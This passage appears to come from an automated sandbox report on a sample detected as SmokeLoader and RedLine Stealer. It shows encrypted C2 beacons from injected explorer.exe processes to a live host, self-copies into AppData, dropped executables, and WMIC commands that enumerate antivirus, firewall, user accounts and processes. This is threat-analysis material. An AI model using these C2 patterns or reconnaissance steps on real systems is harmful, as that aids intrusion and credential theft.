14 c3 ff 47 5d 25 16 a3 c5 c8 0d ca a3 04 ce 28 d6 fb af d3 7c a7 2d Data Ascii: rn3a(DrB\|s(#%P g3iqH[ALm4%<;}Nr>`Z]V\|}*br)!KB;r"<4jm0ogrsdXLgsy>6=,jJD-n#ppM1&2'Ki\:5".O4\,EG]%(\|-
2024-09-25 14:02:30 UTC	287	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Sep 2024 14:02:29 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 409 Content-Type: text/html; charset=utf-8 Connection: close
2024-09-25 14:02:30 UTC	409	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered wh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49751	23.145.40.162	443	1684	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:02:36 UTC	288	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://calvinandhalls.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 501 Host: calvinandhalls.com
2024-09-25 14:02:36 UTC	501	OUT	Data Raw: 72 19 84 be ff 0e 15 8c 6e 87 e1 1f 33 84 61 28 ad 80 b3 d0 17 07 44 86 72 01 c1 e3 ef d5 42 9b 7c 9b b7 f4 73 88 a2 80 f5 0a d0 85 a6 6e 6c f2 e8 91 75 49 50 20 67 33 fa a7 84 c7 89 05 40 0c 18 e8 5a dd 46 4c 6a 34 01 83 b7 25 93 3c 48 cf 15 91 a3 dd 2a 25 c6 00 16 9c 51 e5 e3 1b 09 bf 67 33 46 c9 e0 f3 49 fe fe 76 77 f7 96 5d 8f 33 2d 87 e5 6a 0e 47 6b 11 28 eb 19 bb 96 8a 06 8b e6 69 22 2e 90 41 39 b6 26 46 ed f7 99 a5 69 56 b5 62 da 54 94 20 7f ae 3f 85 54 4b 4c 0b 75 ad cd 7c a1 cb 1d d8 13 7f ec f1 87 3a c4 82 74 bf a9 ae b0 3c 40 b1 a9 83 68 08 b6 4f 33 ef 1c 56 37 92 48 30 54 cb 3a 16 27 d8 9a c1 22 28 9e f1 4d c6 4d f9 a5 fd 3d 62 78 55 c1 69 0d 6d 2e 12 ea 19 9d a6 13 37 17 43 39 f8 98 43 6d 54 28 bb c0 d2 3b e9 ff 6a f8 63 8a 9d d5 a4 7a b5 55 Data Ascii: rn3a(DrB\|snluIP g3@ZFLj4%<H*%Qg3FIvw]3-jGk(i".A9&FiVbT ?TKLu\|:t<@hO3V7H0T:'"(MM=bxUim.7C9CmT(;jczU
2024-09-25 14:02:36 UTC	287	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Sep 2024 14:02:36 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 409 Content-Type: text/html; charset=utf-8 Connection: close
2024-09-25 14:02:36 UTC	409	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered wh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49755	23.145.40.162	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:03:53 UTC	290	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://ygokuufxqffgxycc.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: calvinandhalls.com
2024-09-25 14:03:53 UTC	109	OUT	Data Raw: 72 19 84 be ff 0e 15 8c 6e 87 e1 1f 33 84 61 28 ad 80 b3 d0 17 07 44 86 72 01 c1 e3 ef d5 42 9b 7c 9b b7 f4 73 88 a2 80 f5 0a d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6b 34 01 83 b6 25 93 3c 32 a9 65 e1 d2 fe 51 00 be 76 62 b5 25 c5 93 3b 3d b8 6a 01 20 c8 ea d4 2c be a9 07 02 86 d4 Data Ascii: rn3a(DrB\|s(#%P g3iqH[CLk4%<2eQvb%;=j ,
2024-09-25 14:03:53 UTC	285	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Sep 2024 14:03:53 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 7 Content-Type: text/html; charset=utf-8 Connection: close
2024-09-25 14:03:53 UTC	7	IN	Data Raw: 03 00 00 00 1e 0d af Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49757	23.145.40.162	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:04:13 UTC	288	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://exeynemntnpasq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: calvinandhalls.com
2024-09-25 14:04:13 UTC	109	OUT	Data Raw: 72 19 84 be ff 0e 15 8c 6e 87 e1 1f 33 84 61 28 ad 80 b3 d0 17 07 44 86 72 01 c1 e3 ef d5 42 9b 7c 9b b7 f4 73 88 a2 80 f5 0a d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6b 34 01 83 b6 25 93 3c 32 a9 65 e1 d2 fe 51 00 be 76 62 b5 25 c5 93 3b 3d b8 6a 01 20 c8 ea d4 2c be a9 07 02 86 d4 Data Ascii: rn3a(DrB\|s(#%P g3iqH[CLk4%<2eQvb%;=j ,
2024-09-25 14:04:14 UTC	285	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Sep 2024 14:04:14 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 7 Content-Type: text/html; charset=utf-8 Connection: close
2024-09-25 14:04:14 UTC	7	IN	Data Raw: 03 00 00 00 1e 0d af Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49759	23.145.40.162	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:04:36 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://rakvoqbrycri.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: calvinandhalls.com
2024-09-25 14:04:36 UTC	109	OUT	Data Raw: 72 19 84 be ff 0e 15 8c 6e 87 e1 1f 33 84 61 28 ad 80 b3 d0 17 07 44 86 72 01 c1 e3 ef d5 42 9b 7c 9b b7 f4 73 88 a2 80 f5 0a d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6b 34 01 83 b6 25 93 3c 32 a9 65 e1 d2 fe 51 00 be 76 62 b5 25 c5 93 3b 3d b8 6a 01 20 c8 ea d4 2c be a9 07 02 86 d4 Data Ascii: rn3a(DrB\|s(#%P g3iqH[CLk4%<2eQvb%;=j ,
2024-09-25 14:04:37 UTC	285	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Sep 2024 14:04:37 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 7 Content-Type: text/html; charset=utf-8 Connection: close
2024-09-25 14:04:37 UTC	7	IN	Data Raw: 03 00 00 00 1e 0d af Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49761	23.145.40.162	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:04:59 UTC	289	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://yjslvmtqvthxoxo.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: calvinandhalls.com
2024-09-25 14:04:59 UTC	109	OUT	Data Raw: 72 19 84 be ff 0e 15 8c 6e 87 e1 1f 33 84 61 28 ad 80 b3 d0 17 07 44 86 72 01 c1 e3 ef d5 42 9b 7c 9b b7 f4 73 88 a2 80 f5 0a d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6b 34 01 83 b6 25 93 3c 32 a9 65 e1 d2 fe 51 00 be 76 62 b5 25 c5 93 3b 3d b8 6a 01 20 c8 ea d4 2c be a9 07 02 86 d4 Data Ascii: rn3a(DrB\|s(#%P g3iqH[CLk4%<2eQvb%;=j ,
2024-09-25 14:04:59 UTC	285	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Sep 2024 14:04:59 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 7 Content-Type: text/html; charset=utf-8 Connection: close
2024-09-25 14:04:59 UTC	7	IN	Data Raw: 03 00 00 00 1e 0d af Data Ascii:

Target ID:	0
Start time:	10:01:01
Start date:	25/09/2024
Path:	C:\Users\user\Desktop\KTh1gQlT9a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\KTh1gQlT9a.exe"
Imagebase:	0x400000
File size:	418'304 bytes
MD5 hash:	6D9B8FF6442E3C42A7AD0E1238960057
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.2141528306.00000000040E1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.2141528306.00000000040E1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2138650769.0000000002600000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2139720397.000000000265D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.2138710138.0000000002610000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.2138710138.0000000002610000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:01:07
Start date:	25/09/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	10:01:25
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Roaming\esjbbri
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\esjbbri
Imagebase:	0x400000
File size:	418'304 bytes
MD5 hash:	6D9B8FF6442E3C42A7AD0E1238960057
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000004.00000002.2365373242.00000000026CD000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.2365295307.0000000002631000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.2365295307.0000000002631000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000004.00000002.2365221336.0000000002520000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.2365240792.0000000002530000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.2365240792.0000000002530000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:01:55
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Local\Temp\E647.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\E647.exe
Imagebase:	0x400000
File size:	417'280 bytes
MD5 hash:	1A29ED2D1AE240EC1D6F50DCC960BAA3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000006.00000002.2655758710.00000000040F1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000006.00000002.2655758710.00000000040F1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000006.00000002.2655596562.000000000266D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000006.00000002.2655384170.0000000002620000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000006.00000002.2655384170.0000000002620000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000006.00000002.2655265915.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000006.00000003.2603297963.0000000002610000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:02:19
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Roaming\uejbbri
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\uejbbri
Imagebase:	0x400000
File size:	417'280 bytes
MD5 hash:	1A29ED2D1AE240EC1D6F50DCC960BAA3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.2900663679.00000000025ED000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000007.00000002.2900388143.00000000024A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000007.00000002.2900412124.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000007.00000002.2900412124.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000007.00000003.2843112467.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000007.00000002.2900483247.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000007.00000002.2900483247.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:02:27
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Local\Temp\B575.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\B575.exe
Imagebase:	0x7ff7cb870000
File size:	78'336 bytes
MD5 hash:	12AD2C78F5EB326820444DCFE9DFA683
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	10:02:28
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x940000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:02:28
Start date:	25/09/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff624250000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	10:02:29
Start date:	25/09/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:02:30
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x940000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 0000000C.00000002.4535195693.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	10:02:32
Start date:	25/09/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 0000000D.00000002.4535198953.0000000000D21000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	10:02:32
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd
Imagebase:	0x7ff643210000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	10:02:32
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	10:02:33
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x940000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	10:02:33
Start date:	25/09/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv
Imagebase:	0x7ff7eb220000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:02:34
Start date:	25/09/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	10:02:35
Start date:	25/09/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv
Imagebase:	0x7ff7eb220000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:02:37
Start date:	25/09/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv
Imagebase:	0x7ff7eb220000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:02:39
Start date:	25/09/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv
Imagebase:	0x7ff7eb220000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:02:40
Start date:	25/09/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv
Imagebase:	0x7ff7eb220000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	10:02:45
Start date:	25/09/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv
Imagebase:	0x7ff7eb220000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	10:02:47
Start date:	25/09/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv
Imagebase:	0x7ff7eb220000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	10:02:49
Start date:	25/09/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv
Imagebase:	0x7ff7eb220000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	10:02:52
Start date:	25/09/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv
Imagebase:	0x7ff7eb220000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	10:02:57
Start date:	25/09/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv
Imagebase:	0x7ff7eb220000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	10:02:59
Start date:	25/09/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv
Imagebase:	0x7ff7eb220000
File size:	576'000 bytes
